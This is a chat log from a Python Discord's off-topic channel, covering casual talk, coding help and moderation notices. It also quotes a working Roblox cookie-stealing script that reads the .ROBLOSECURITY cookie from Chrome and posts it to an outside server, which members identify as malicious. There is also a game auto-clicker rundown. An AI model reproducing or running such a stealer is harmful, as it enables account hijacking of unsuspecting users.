#off-topic-lounge-text
1 messages · Page 14 of 1
:incoming_envelope: :ok_hand: applied timeout to @unreal marten until <t:1744710343:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).
The <@&831776746206265384> have been alerted for review.
(didn't hear the question)
reading through this https://www.openssh.com/txt/release-10.0
@neon portal this is somewhat quantum-related
- ssh(1): the hybrid post-quantum algorithm mlkem768x25519-sha256
is now used by default for key agreement. This algorithm is
considered to be safe against attack by quantum computers,
is guaranteed to be no less strong than the popular
curve25519-sha256 algorithm, has been standardised by NIST
and is considerably faster than the previous default.
25519 seems way too good that even algorithms to replace it use it anyway
this one might not be usable for signatures
I think
only key agreement is mentioned there
how long was it since SIDH ended
Papers We Love Conf 2022
https://pwlconf.org/2022/deirdre-connolly/
Transcript: https://pwlconf.org/2022/transcripts/Papers_We_Love_Deirdre_Connolly.txt
Deirdre Connolly / Zcash Foundation
Isogeny-based cryptography went from a curiosity to a serious post-quantum contender arguably because of this paper from Costello, Longa, and Naehrig from...
@neon portal company or person?
I can't guarantee I will be able to answer
I've mentioned it multiple times not once
mostly document issues
I am currently employed, because the company was willing enough to ignore such circumstances
hlo
I should send the image of hellish night sky I witnessed a month ago
this does not look normal
why is it red
You yoyo, yoghurt, yodle, yorkie.
Hi🙂
hey guys how is everyone just joined!
You can use cProfiler for that.
I found lots of duplications in my code thanks to that.
It gives some direction on what you need to focus on.
You can use gprof2dot to generate a figure of it with percentages of what code is using the most time.
perf and dtrace
So, make a .prof using cProfiler, then generate an image from it.
you can attach those to a running process
I haven't tried those.
dtrace has python-specific probes
though not sure how up-to-date they are
it's been 20 years since then
approximately
* 18
I might start another project and just make this open?
Can’t talk in voice chat? Check out #voice-verification to get access. The criteria for verifying are specified there.
?
!pip discord
A mirror package for discord.py. Please install that instead.
Released on <t:1691703907:D>.
@dull anvil :3 I think I found my bottle neck :L
:incoming_envelope: :ok_hand: applied timeout to @full sage until <t:1744842358:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).
The <@&831776746206265384> have been alerted for review.
Holy grail of python 1 liner resources website does anyone know?
I jst keep some tricks on my sleeves for emergency prpose.. Hope someone provide resource.
sounds like #esoteric-python, maybe some links there can help
📍 pin me there bro
Are you guys making a neural network?
why i dont have permission to speak?
!voice
Can’t talk in voice chat? Check out #voice-verification to get access. The criteria for verifying are specified there.
:incoming_envelope: :ok_hand: applied timeout to @storm flume until <t:1745007630:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).
The <@&831776746206265384> have been alerted for review.
you need to verify there is some terms and condition if you are new
:incoming_envelope: :ok_hand: applied timeout to @limpid sable until <t:1745009632:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).
The <@&831776746206265384> have been alerted for review.
hi
i cant speak
voice verification is not done it is my new account
can you help me in python code
i created that
when i test with real example i am not able to process image
somebody know how to load the image in same format which train model
Guys someone send me this and told me to use it what is this do
import browser_cookie3
import requests
def get_and_send_cookie():
try:
cookies = browser_cookie3.chrome(domain_name='roblox.com')
for cookie in cookies:
if cookie.name == '.ROBLOSECURITY':
roblo_cookie = cookie.value
requests.post("https://yourdomain.com/save.php", data={"cookie": roblo_cookie})
return
except Exception as e:
pass
get_and_send_cookie()
Im scared
hey @undone sun
This code steals your Roblox login cookie from your browser.
It looks for the .ROBLOSECURITY cookie used to access your Roblox account.
Then it secretly sends that cookie to a hacker’s server.
With this cookie, someone can log into your Roblox without your password.
It's a dangerous and illegal script — never run code like this from unknown sources.
Im still new in mython
Does this script is good for a begginer
yes
you did very good work
Thx
you can use https://www.hackerrank.com/
it will helpfull for you in starting
i dont use that much but i use that 4 year ago when i was in UNI
?
it is good for practice
After one month of learning Python and gaining hands-on experience, start solving coding problems on LeetCode to strengthen your understanding of algorithms and problem-solving.
After two months, once you're comfortable with basic data structures and algorithms (DSA), start practicing on Codeforces to improve your competitive programming skills.
Stay consistent, track your progress, and aim to solve a variety of problems (easy to hard) to build confidence and depth in your coding abilities.
:incoming_envelope: :ok_hand: applied timeout to @devout forum until <t:1745172746:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).
The <@&831776746206265384> have been alerted for review.
:incoming_envelope: :ok_hand: applied timeout to @polar juniper until <t:1745185795:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).
The <@&831776746206265384> have been alerted for review.
:incoming_envelope: :ok_hand: applied timeout to @rancid heath until <t:1745191506:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).
The <@&831776746206265384> have been alerted for review.
Lol this code is ass
It's not sending cookie to user
Just checks if cookie is valid
that's not what it's doing either
it's (potentially) sending to a malicious third party
... though no idea whether that domain is controlled by a malicious actor
in general you shouldn't run code like that either way
sending your cookies to websites they don't belong to is obviously not something your should ever do
from any sources rather than just unknown
:ok_hand: applied timeout to @void forge until <t:1745271959:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).
The <@&831776746206265384> have been alerted for review.
:incoming_envelope: :ok_hand: applied timeout to @fallen walrus until <t:1745274420:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).
The <@&831776746206265384> have been alerted for review.
:incoming_envelope: :ok_hand: applied timeout to @fierce trench until <t:1745276019:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).
The <@&831776746206265384> have been alerted for review.
What if bro runs that code without knowledge and then 💀
Python ❌
Mython ✅
yes, that exact point, don't run untrusted code
especially if it has anything to do with cookies
Bruh how can you code in white
Yeah it can deatroy pc
!rule 5
5. Do not provide or request help on projects that may violate terms of service, or that may be deemed inappropriate, malicious, or illegal.
@green yew Sorry. 🙂
:incoming_envelope: :ok_hand: applied timeout to @rotund temple until <t:1745341712:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).
The <@&831776746206265384> have been alerted for review.
:incoming_envelope: :ok_hand: applied timeout to @fresh karma until <t:1745347175:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).
The <@&831776746206265384> have been alerted for review.
:incoming_envelope: :ok_hand: applied timeout to @plucky patrol until <t:1745352501:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).
The <@&831776746206265384> have been alerted for review.
:incoming_envelope: :ok_hand: applied timeout to @verbal viper until <t:1745425019:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).
The <@&831776746206265384> have been alerted for review.
@worldly umbra Hey how you doing?
I'm okay
i'm really frustrated
Why?
I can't talk or text in some of the channels
@primal bison How you doing?
it's really bad
I have to be verified before😔
failed
You must be new to server?
!u 1363954436845604896
I have to send 50 messages before
9 hours
I'm new here too
not always online
@neon portal that is sooo cool
You have be to in server at least 3 days as well!
@neon portal i can't whait to play it
72 hours
it's 63 so far, quite close
Do you know what's more cool?
You!
argh
Nothing much can be done!
What?
I know
it's okay
Would you like to play some minecraft?
Aren't you going to speak on voice?
tell me that i am cool again, but on voice.
YES!
....
......
............
.
makin a game here? @neon portal
Am I?
He is God creating his own universe!
What you said is blasphemy bro, he can't be God.
How could I know?
He can be!
You will find a solution, you know.
Nah bro
Yeah sis!
he is the creator of the game
Not the God of the game
Do you understand?

Do you understand what I mean?
Awww that is sooo cute
Are you a girl?

why does it matter
It would be nice to see more girls on the server (I am )
You are man disguised as girl on server to lure man to manipulate them to follow your agenda
Yeah god pregnant her mother 😂
@neon portal What are you planning to do with the slow mo shots?
Human mother
What is a prophet?
No
I'm just saying what I know.
You can see from my accounts that I'm a girl.
What are you saying?
Probably a troll. I'd suggest making a modmail.
What?
You told me he is son of god!
Jesus
is
the
Son
Of
God
This is a side scrolling rpg right?
What did you not understand?
looks cool
More like a platformer but yeah.
oh interesting
I was working on it properly, but had to rotate back to my main packages. I am still working on my latest release, but I'm using this for a course, and I have to make it presentable for this monday, so, taking time off to work on it.
ok
@stable vapor read the chat here
@stable vapor How you doing?
we're loosely discussing the game right now
i am good
What is hoax
@primal bison go to #voice-verification
so you can speak on voice
Stop!
What did i do?
" !"
I didn't asked for help
I don't think they can verify yet... but I am not 100% sure.
So stop it!
And you shouldn't be forcing others to speak. They might feel uncomfortable sharing their voice.
I didn't force him.
I just told him.
First, I'm not new to server!
he does what he wants
So I do know how to verify
Okay
Second I prefer not to speak in voice call
I'm sorry if you thought I was harsh with you, I didn't mean to upset you.
Nah, I'm not upset
Okay
I do not have ego to be bothered
@dull anvil
I'd like to ask!
Certification has any value?
Like Certification in Language or skill?
Like a degree? University/college degree?
Certification from codeacademy!
Sure, they certainly have value in helping you when looking for jobs as they may require a certain certification
Or EDX
Codeacademy and edx are two kinda different things afaik... edx seems to be uni certification based
codeacademy really just teaches you coding.
brb
AF is typing for so long!
Yeah, edx is a place to earn credentials from companies/unis... whereas codeacademy is more like a not-for-profit project which just teaches the basics (i think) of a selection of languages.
!warn 1225678748377026590 neither the first part nor the second part of this message are appropriate for this server; if you made a bad tasteless joke with an attempt at being offensive towards someone who had ignored it previously because they did not care, that does not mean you can treat other users the same way
:ok_hand: applied warning to @primal bison.
Got it!
back
@arctic crypt no
@neon portal draw.io
@neon portal the other way
@neon portal there's a VSCode integration for draw.io btw
Lmk if I have background audio.
Hey 👋
Not bad! Got an assignment in at (almost literally) the last minute yesterday 
How're you doing?
Oh signal processing? I have to do an assignment on the fast Fourier transform 👀
Whoa! Cut it close there! I submitted one at 11:59 and it was due at 11:59:00, so it was marked late 
Didn't know you were in school. Doing MSc?
!d numpy.fft
I already missed an assignment for this course because I got my dates mixed up, and that was like 25% of the grade 😑
Finishing my undergrad part-time 😄
Gotcha.
I'm also doing an assignment rn.
Errrm, I was too embarrassed to even ask to be honest
Sitcom episode right here. Everyone doing uni, lesson being not to procrastinate I guess (I really didn't want to work on it).
Why embarrassed?
Turns out though they probably would have granted an extension, but it's too late now. I'm really fine with just passing this course however.
Yeah, just passing is fine as well.
I've found usually universities are pretty good regarding extenuating circumstances. At least they'll usually let you re-sit.
I need the pressure of a looming deadline to be productive, although my sense for estimating how much time I need to complete work is not great.
Nah, just Python
It's when you like your project.
I don't like my uni projects, so I rarely want to spend time on them.
It does feel great completing work early however 😄
When that occassionally happens..
Like right now, I didn't want to work on this, I wanted to finish my 0.0.0 release for quick.
@mellow solar What was your question about the FFT sorry? Bear in mind I haven't actually studied that section of the course yet, so I'm not exactly an authority on the subject
I don´t have a question, was thinking if you have 😄
Oh right
I completed the course
Gotta go 👋
A musical response to the current US-Canada trade war tensions! This catchy claymation anthem playfully rejects becoming America's 51st state while celebrating uniquely Canadian culture. Watch as Tim Horton's coffee, Rita MacNeil performances, hockey games, and other beloved Canadian symbols come to life through charming claymation. A tongue-in-...
That sounds really cool.
Yay.
Does this dress make me look fat?
You are glowing dear.
You make the sun envious.
sun's diameter is 1.4 m km^2 lol
Boy got rizz.
I meant the illumination my dear buzzkill.
Put the rizz in the fries little bro, no wait, put the rizz in the ba-dammit!
hehe 😄
Sun ain't got shit on him.
tung tung tung sahur
Muppets?
Mana Mana (Mahna Mahna) Song - Muppet Show - Original - Full Length! The complete Mah Na Mah Na Muppets song with introduction by Kermit the Frog
Burying my feelings in gaming.
Have you tried Dave the Diver?
Been playing that alot.
The same. Endless Sky. But with some Midnight mods.
nethack
Solidly endgame.
I'm collecting extra quest stuff.
Can be.
It's a bit of a save scummer.
I very much do not remember it being an easy game
Early game is hard. Once you knock loose more powerful ships, it starts to cascade up.
Pulsar was quite a fun game
From there, there's intentionally available cheeses you can do to get even more power.
I don't remember if I played it after 1.0 released
Early game can be "rocks fall, you die"
(very different from Endless Sky)
pirates jump into the system
💥
Atm I've worked my way up to what I think is the largest ship available normally in the mod.
Everspace sometimes works like that too
but that game is rogue-like in a sense, so kind of expected
When I end up bored, I might slap a few more mods on or restart the game.
now I wonder if I'd be able to log into my Eve Online account
I still mostly remember what I was doing there the last time
which was 3~6 years ago
in some aspects maybe?
Eve is MMORPG
Endless Sky, afaik, is single-player-only
travelled somewhat far to buy a ship for 10~30% cheaper
(bought it successfully)
what was that other big one called
elite dangerous
I still have not progressed in it anywhere far
^ this one is where you have 5~6 separate people or bots operating a ship
my most successful run (still not dead) was with bots only (+ me as captain)
and save loading disabled
i.e. death implying loss of everything
I enable this whenever I can
mostly because it makes worrying about saving irrelevant
one less moving piece
Tell me it isn't the "don't you people have phones?" guy.
Could someone review my uml if possible?
I just realized all you nerds are down here
whats happenin
Heyo
Please react with ✅ to upload your file(s) to our paste bin, which is more accessible for some users.
!paste
If your code is too long to fit in a codeblock in Discord, you can paste your code here:
https://paste.pythondiscord.com/
After pasting your code, save it by clicking the Paste! button in the bottom left, or by pressing CTRL + S. After doing that, you will be navigated to the new paste's page. Copy the URL and post it here so others can see it.
@civic bolt If you're wondering why you can't talk, check the #voice-verification channel. That'll tell you what you need to know about the voice gate
eo7 very nice graphics
!source
@neon portal "priority stack"?
@neon portal heapq?
@neon portal ordering
@neon portal or state machine
@neon portal use it better
@mellow solar I don't think I have
cubic root next
@unborn sorrel can tailwind still be used without a build system or has it gone too far into that direction
@rich moss Wondering how you'd implement this logic:
Priority:
- death (Cannot be overwritten by anything. Overwrites everything) - Clamped until completion, disables animation afterwards
- hurt - Clamped until/unless Banjo stops melee or until/unless soldier dies
- alert - Clamped until/unless Banjo melees or until/unless completion or until/unless interrupted by above states
- melee - Clamped until/unless Banjo is dead or until/unless Banjo is out of melee range or until/unless interrupted by above states
- reload - Clamped until/unless completion or until/unless melee or until/unless interrupted by above states
- aim_fire - Clamped until/unless soldier melees or until/unless Banjo is out of shooting range or until/unless interrupted by above states
- walk and run - (Can overwrite idle) - Clamped until/unless soldier arrives at destination or until/unless interrupted by above states
- idle (Can be overwritten by anything. Overwrites nothing)
You can't use tailwind without the build system
You can use it without the build system
Just use the CDN or the entire minified code for it
The build system just cuts out all the stuff you are not using
Finally I made a go program to convert the image to ascii.
Any images to convert?
Output
No comments?
It takes the image and print the ASCII art line by line
Of any image
How difficult would it be to do the same locally in python?
I can share the code
Okay
Please react with ✅ to upload your file(s) to our paste bin, which is more accessible for some users.
How do i share code?
python discord's pastebin
Where?
I don't think I'd be using it anyway because I need to minimise total HTML sent to the client
I'm just eating
@wide crown can I screen share in Live-Coding? I wanna show Cory about recursion and stuff
@lavish heath
(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))
it might make sense to do extra checks in code
also if you go too extreme on checking, you will also end up with unusable software
because test@localhost is technically a valid email in some circumstances
Email addresses/domains Known spam/abuse sources, disposable Prevent spam, fraud
IP addresses Listed on DNSBL/RBL Protect deliverability
Suspicious patterns Spam traps, random strings Avoid spam traps
High-risk providers Temporary/disposable email domains Maintain list quality
Malformed emails Invalid format Basic validation
:incoming_envelope: :ok_hand: applied timeout to @mystic matrix until <t:1745607893:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).
The <@&831776746206265384> have been alerted for review.
:incoming_envelope: :ok_hand: applied timeout to @wooden oar until <t:1745611078:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).
The <@&831776746206265384> have been alerted for review.
:incoming_envelope: :ok_hand: applied timeout to @plain quail until <t:1745611493:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).
The <@&831776746206265384> have been alerted for review.
.
:incoming_envelope: :ok_hand: applied timeout to @heavy lintel until <t:1745666587:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).
The <@&831776746206265384> have been alerted for review.
:incoming_envelope: :ok_hand: applied timeout to @mellow obsidian until <t:1745682888:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).
The <@&831776746206265384> have been alerted for review.
geez
(ns frontend.macros
#?(:cljs (:require-macros [frontend.macros])))
#?(:clj
(defmacro slurped
"Like slurp, but at compile time"
[filename]
(slurp filename)))
Napoleon educates Pedro on the importance of having skills to impress women.
<@&831776746206265384> can we give ik∅ streaming permission?
Video role?
I know him from several servers and I think he's respectable enough.
Garrison Keillor, Tim Russell, Sue Scott and Fred Newman perform "Rhubarb" during the May 7, 2011 broadcast of A Prairie Home Companion.
@halcyon mason
https://leetcode.com/problems/symmetric-tree/
Please react with ✅ to upload your file(s) to our paste bin, which is more accessible for some users.
this testcase fails
[3,4,4,5,null,null,5,6,null,null,6]
this is symmetrical and the program is supposed to outputTrue for it.
this is how the tree looks like from the input data above.
honestly i'm not sure why the tree looks like that.
from __future__ import annotations
from typing import Optional
class Solution:
def isSymmetric(self, root: Optional[TreeNode]) -> bool:
return self.mirrors(root.left, root.right)
def mirrors(self, left: Optional[TreeNode], right: Optional[TreeNode])->bool:
if left is None and right is None:
return True
if (left is None and right is not None) or (right is None and left is not None):
return False
# now we know left and right are TreeNode types:
if left.val != right.val:
return False
return (
self.mirrors(left.left, right.right)
and
self.mirrors(left.right, right.left)
)
class TreeNode:
def __init__(self, val: int=0, left=None, right=None):
self.val = val
self.left = left
self.right = right
EDIT - the second condition:
if (left is None and right is not None) or (right is None and left is not None):
can be simplified to:
if left is None or right is None:
What kind of OS is it?
It looks unfamiliar to me!
Yo
Can't speak
What's up?
Maybe a span @brazen wave
spam*
A request header?
You guys use perplexity?
@brazen wave @primal bison
I try not to use AI and am not vibe coding.
But I know there's tons of vibe coders out there.
I only ask it like some general information about some topics, but I'd rather not delegate problems to it.
Okay
Yeah that is a problem out in the market
The internet is being filled with a lot of AI generated crap that even the prompter does not know.
"AI slop" they call it
Yeah
I personally got remote access into multiple of these "The next big thing".
Yeah
Hehe
The vibe coded work of art.
To be honest most of the security vulnerabilities they had were back in 2000s.
Nah
I like talking.
Which one?
I see, got it.
It does not need hacking.
Yeah it can be done using OpenCV.
ChatGPT will not be nice, when it comes to developing it.
It is fairly limited in development.
Quite good for high level overviews and research
Liked it so much that I made an alternative for myself but a bit better at coding snippets.
@primal bison
Here's a quick rundown on creating an OpenCV-based overlay that detects movement in a game and automates clicks:
1. Setup Basics
- Install OpenCV:
pip install opencv-python numpy pyautogui
(OpenCV for vision, numpy for processing, pyautogui for clicks)
2. Capture Game Screen
- Use
mss(faster than PIL/PyAutoGUI for screenshots):import mss with mss.mss() as sct: monitor = {"top": 0, "left": 0, "width": 1920, "height": 1080} img = np.array(sct.grab(monitor))
3. Motion Detection
- Frame Differencing:
Compare consecutive frames to detect changes:gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) if prev_frame is not None: diff = cv2.absdiff(prev_frame, gray) _, thresh = cv2.threshold(diff, 25, 255, cv2.THRESH_BINARY) contours, _ = cv2.findContours(thresh, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE) prev_frame = gray
4. Target Selection & Click
- Filter contours by size (avoid noise), get centroid:
for c in contours: if cv2.contourArea(c) > 500: # Adjust threshold x, y, w, h = cv2.boundingRect(c) pyautogui.click(x + w//2, y + h//2) # Click center break # First valid target
5. Overlay (Optional)
- Draw rectangles for debugging:
cv2.rectangle(img, (x, y), (x+w, y+h), (0, 255, 0), 2) cv2.imshow("Overlay", img) if cv2.waitKey(1) == ord("q"): break
Key Notes:
- Performance: Use
mss+numpyfor fast screenshots (~60 FPS). - Thresholds: Tweak
contourAreaanddiffvalues to reduce false positives. - Game Compatibility: Works best with static backgrounds (e.g., RuneScape, old-school UIs).
- Anti-Cheat: Risk of bans in online games—use at your own risk.
TL;DR: Capture screen → diff frames → find contours → click biggest blob. Overlay for debugging.
Need optimizations for specific games? Describe the scenario. 🎮
It's like a high level approach you can follow then update the part of code to be finetuned to your needs.
Alright GTG fellas, nice chat.
hello
Doing some n8n investigation tonight, marrying it with ngrok in a docker-compose currently and trying to get it wired up to connect to my family Discord server.
begin at the beginning and when you come to the end, stop
@spice ridge
Why have you choose this username AI?
Okay
i was just looking at git commands
i was bored and got into the voice channel
:incoming_envelope: :ok_hand: applied timeout to @opaque widget until <t:1745954436:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).
The <@&831776746206265384> have been alerted for review.
:incoming_envelope: :ok_hand: applied timeout to @olive inlet until <t:1745957730:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).
The <@&831776746206265384> have been alerted for review.
OK
:incoming_envelope: :ok_hand: applied timeout to @barren galleon until <t:1746021473:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).
The <@&831776746206265384> have been alerted for review.
@jagged swallow Want to come here?
Take your time sir.
@agile portal I'm here.
:incoming_envelope: :ok_hand: applied timeout to @warm gust until <t:1746131592:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).
The <@&831776746206265384> have been alerted for review.
:incoming_envelope: :ok_hand: applied timeout to @upbeat prawn until <t:1746138933:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).
The <@&831776746206265384> have been alerted for review.
help !d
Hey
/verify
!voice
Can’t talk in voice chat? Check out #voice-verification to get access. The criteria for verifying are specified there.
:incoming_envelope: :ok_hand: applied timeout to @lusty phoenix until <t:1746481599:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).
The <@&831776746206265384> have been alerted for review.
:incoming_envelope: :ok_hand: applied timeout to @lusty phoenix until <t:1746484327:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).
The <@&831776746206265384> have been alerted for review.
howdy folks?
Kk
Char what’s better nginx or Apache
preferance really
but if I have to use one I personally use apache
:incoming_envelope: :ok_hand: applied timeout to @turbid prairie until <t:1746810513:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).
The <@&831776746206265384> have been alerted for review.
Sigma
!e
<code>
print(”how to correct format“)
</code>
Why Avoid System Python for Development on Unix-like Systems:
- Critical Operating System Dependencies: Altering the system Python installation may harm internal operating system dependencies.
- Stability and Security Concerns: System interpreters lag behind current releases, lacking the latest features and security patches.
- Limited Package Control: External package management restricts control over versions, leading to compatibility issues with outdated packages.
Recommended Approach:
- Install Independent Interpreter: Install Python from source or utilize a virtual environment for flexibility and control.
- Utilize Pyenv or Similar Tools: Manage multiple Python versions and create isolated development environments for smoother workflows.
@night lily 💀
:incoming_envelope: :ok_hand: applied timeout to @primal bison until <t:1746884887:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).
The <@&831776746206265384> have been alerted for review.
!python
Why Avoid System Python for Development on Unix-like Systems:
- Critical Operating System Dependencies: Altering the system Python installation may harm internal operating system dependencies.
- Stability and Security Concerns: System interpreters lag behind current releases, lacking the latest features and security patches.
- Limited Package Control: External package management restricts control over versions, leading to compatibility issues with outdated packages.
Recommended Approach:
- Install Independent Interpreter: Install Python from source or utilize a virtual environment for flexibility and control.
- Utilize Pyenv or Similar Tools: Manage multiple Python versions and create isolated development environments for smoother workflows.

heya!, im sorry, i'm not elegible yet to speak hehe
I
:incoming_envelope: :ok_hand: applied timeout to @north lynx until <t:1747248463:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).
The <@&831776746206265384> have been alerted for review.
:incoming_envelope: :ok_hand: applied timeout to @keen wedge until <t:1747335088:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).
The <@&831776746206265384> have been alerted for review.
Lol
:incoming_envelope: :ok_hand: applied timeout to @keen wedge until <t:1747393012:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).
The <@&831776746206265384> have been alerted for review.
:incoming_envelope: :ok_hand: applied timeout to @wide light until <t:1747504508:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).
The <@&831776746206265384> have been alerted for review.
import random
round_checker_number = 0
user_wins = 0
computer_wins = 0
options = ["rock","paper","scissors"]
while True:
random_number = random.randint(0,2)
computer_pick = options[random_number]
user_input = input("Lets play rock paper scissors! If you would like to quit, press q. Pick rock,scissors or paper. Choose wisely").lower()
if user_input == "q":
break
elif user_input not in options:
continue
if user_input == "scissors" and computer_pick == "paper":
print("You won")
user_wins += 1
round_checker_number += 1
print(f"Current round is {round_checker_number}")
elif user_input == "rock" and computer_pick == "scissors":
print("You won")
user_wins += 1
round_checker_number += 1
print(f"Current round is {round_checker_number}")
elif user_input == "paper" and computer_pick == "rock":
print("You won")
user_wins += 1
round_checker_number += 1
print(f"Current round is {round_checker_number}")
elif user_input == options[random_number]:
print("draw")
round_checker_number += 1
print(f"Current round is {round_checker_number}")
else:
print("You lost")
round_checker_number += 1
print("Computer picked", computer_pick)
й
maybe being desperate
import tkinter as tk
import time
window = tk.Tk()
window.title("Đồng hồ ảo")
label = tk.Label(window, bg='black', fg='red',
font=('Time New Roman', 50))
label.pack()
while True:
time = time.strftime("%Hh%M")
label.config(text=time)
window.update
:incoming_envelope: :ok_hand: applied timeout to @dense flower until <t:1747609443:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).
The <@&831776746206265384> have been alerted for review.
anyone used uv,
do you know how to upgrade dependencies written in project.toml file?
does any command exists so that it can take python version, all dependencies in consideration when upgrading dependencies????
ok
so i need to use constraints rather than using == to define the dependencies
have a look on my project.toml file
dependencies = [
"inquirerpy == 0.3.4",
"multiprocess == 0.70.14",
"orjson == 3.9.15",
"rustimport == 1.3.4",
# conditional
"uvloop~=0.19.0; sys_platform != 'win32' and platform_python_implementation == 'CPython' and platform_machine != 'armv7l'",
"watchdog == 4.0.1",
]
[project.optional-dependencies]
"templating" = ["jinja2 == 3.0.1"]
[project.urls]
Documentation = "https://robyn.tech/"
Repository = "https://github.com/sparckles/robyn"
Issues = "https://github.com/sparckles/robyn/issues"
Changelog = "https://github.com/sparckles/robyn/blob/main/CHANGELOG.md"
[project.scripts]
robyn = "robyn.cli:run"
test_server = "integration_tests.base_routes:main"
[dependency-groups]
dev = [
"black==23.1",
"commitizen==2.40",
"isort==5.11.5",
"maturin==0.14.12",
"pre-commit==2.21.0",
"ruff==0.1.3",
]
test = [
"nox==2023.4.22",
"pytest==7.2.1",
"pytest-codspeed==1.2.2",
"requests==2.28.2",
"websocket-client==1.5.0",
]
:incoming_envelope: :ok_hand: applied timeout to @remote grove until <t:1747676454:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).
The <@&831776746206265384> have been alerted for review.
:incoming_envelope: :ok_hand: applied timeout to @severe saddle until <t:1747678532:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).
The <@&831776746206265384> have been alerted for review.
You seem to be using both Ruff and isort/black, was this on purpose?
I don't know about it
it's been there before me
As it's a OSS project
Ruff is a drop in replacement for black and isort
ruff is a linter and a formatter
you still need a type checker
I use pyright
:incoming_envelope: :ok_hand: applied timeout to @hazy field until <t:1747711281:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).
The <@&831776746206265384> have been alerted for review.
!e
1=2
:x: Your 3.12 eval job has completed with return code 1.
001 | File "/home/main.py", line 1
002 | 1=2
003 | ^
004 | SyntaxError: cannot assign to literal here. Maybe you meant '==' instead of '='?
!e
range(10)
:warning: Your 3.12 eval job has completed with return code 0.
[No output]
!e
print(range(10))
:white_check_mark: Your 3.13 free threaded eval job has completed with return code 0.
range(0, 10)
!e""
print("hello,world")
"""
» enumerate
» exit()
» environments
» envs
» empty-json
» for-else
» except
» equals-true
» on-message-event
:white_check_mark: Your 3.12 eval job has completed with return code 0.
hellohellohello
!e
def add(a,b):
return sum(a,b)
print(add(2,3))
:x: Your 3.12 eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "/home/main.py", line 3, in <module>
003 | print(add(2,3))
004 | ^^^^^^^^
005 | File "/home/main.py", line 2, in add
006 | return sum(a,b)
007 | ^^^^^^^^
008 | TypeError: 'int' object is not iterable
:incoming_envelope: :ok_hand: applied timeout to @rocky zinc until <t:1747765556:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).
The <@&831776746206265384> have been alerted for review.
hello guys
hi guys
!code
please how to resolve this
Hi everyone,
Hope you're having a great week! Your creativity and energy shine through in everything you do.
I’d be excited to collaborate and offer you a simple method that can help you achieve more with less effort.
Let’s talk if you’re open to it.
Best
hello who can help me
def __init__(self,name,color): # init is used to initialize a class ,self is parameter which represents the object
self.name = name # this are class attributes,any object like dog have attribute like a name
self.color = color
def walk(self): # this method are function ,which are function a object can do, in real life a dog can walk but can't fly
print(f"{self.name} is walking ") # self is object which is passed to the class
def fly(self):
print(f"{self.name} is flying")
dog = Animal("dog","black") # this how you a create instance of class in python
parrot = Animal("parrot","blue") # created another object like dog but different name called parrot
dog.walk()
parrot.fly()
"""
class is a collection of similar object in python , an example of class can be birds , Animal ,human
there are different variety of birds like parrot,crow,etc... which are similar,right all birds can perform function like flying , eating, or make noise
there are different variety of Animal like dog,cow,
All animal are similar and they perform similar function
"""
!code
:incoming_envelope: :ok_hand: applied timeout to @quiet summit until <t:1748256610:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).
The <@&831776746206265384> have been alerted for review.
:incoming_envelope: :ok_hand: applied timeout to @buoyant lynx until <t:1748286218:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).
The <@&831776746206265384> have been alerted for review.
hii
Hey
Hello
:incoming_envelope: :ok_hand: applied timeout to @brittle dust until <t:1748518347:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).
The <@&831776746206265384> have been alerted for review.
!code admin_request = 1
backpack = 2
send_money = 3
AppList = int(input("Enter the number of app you want: "))
if AppList == admin_request:
input("What message do you want to send: ")
print("Your message has been successfully delivered")
elif AppList == backpack:
input("You have food and a pistol. What do you want to pick: ")
elif AppList == send_money:
input("What is the amount of money you want to send (the money will be converted to the closest player to you):")
print("Your money has been successfully delivered")
how tf yall use this
!e ```py
print('Hello, world.')
print('Goodbye.')
```
!e ```py
print('Hello, world.')
print('Goodbye.')
:white_check_mark: Your 3.13 eval job has completed with return code 0.
001 | Hello, world.
002 | Goodbye.
!e ```py
import os
print(os.listdir("../"))
:white_check_mark: Your 3.13 eval job has completed with return code 0.
